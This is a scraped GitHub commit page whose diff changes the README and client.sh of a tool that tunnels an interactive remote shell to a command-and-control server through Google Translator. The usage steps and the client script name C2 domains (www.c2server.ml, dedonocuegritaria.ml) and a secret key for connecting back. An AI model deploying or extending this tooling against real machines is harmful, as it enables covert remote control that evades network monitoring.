Skip to content

Commit

Permalink
change client arguments
Browse files Browse the repository at this point in the history
  • Loading branch information
mthbernardes committed Dec 2, 2018
1 parent 88903c8 commit a575b19
Show file tree
Hide file tree
Showing 2 changed files with 8 additions and 8 deletions.
6 changes: 3 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ This tools uses [Google Translator](https://translate.google.com) as a proxy to
```

# Environment Configuration
First you need a VPS and a domain, for the domain you can get a free one on [Freenom](https://freenom.com/). With your VPS and domain, just edit the client script, and set your domain on line 5.
First you need a VPS and a domain, for the domain you can get a free one on [Freenom](https://freenom.com/).

# Usage
Start the server.py on your VPS
Expand All @@ -15,9 +15,9 @@ python2.7 server.py
Server running on port: 80
Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062
```
It will provide you secret key which will be used on the client.sh, run the client on a computer with access to [Google Translator](https://translate.google.com), providing the secret key generated by the server.
It will provide you secret key which will be used on the client.sh, run the client on a computer with access to [Google Translator](https://translate.google.com), providing domain and the secret key generated by the server.
```bash
bash client.sh e294a11e-bb6f-49ed-b03a-9ec42be55062
bash client.sh www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062
```
Now you have an interactive shell using named pipe files, **YES** you can `cd` into directories.

Expand Down
10 changes: 5 additions & 5 deletions client.sh
Original file line number Diff line number Diff line change
@@ -1,14 +1,14 @@
#!/bin/bash

if [ -z "$1" ]; then
echo -e "Error\nExecute: $0 secretkey-provided-by-the-server\n"
exit 1
if [[ $# < 2 ]];then
echo -e "Error\nExecute: $0 www.c2server.com secretkey-provided-by-the-server\n"
exit
fi

running=true
secretkey="$1"
secretkey="$2"
user_agent="User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
c2server="http://www.dedonocuegritaria.ml/?key=$secretkey"
c2server="http://$1/?key=$secretkey"
result=""
input="/tmp/input"
output="/tmp/output"
Expand Down

0 comments on commit a575b19

Please sign in to comment.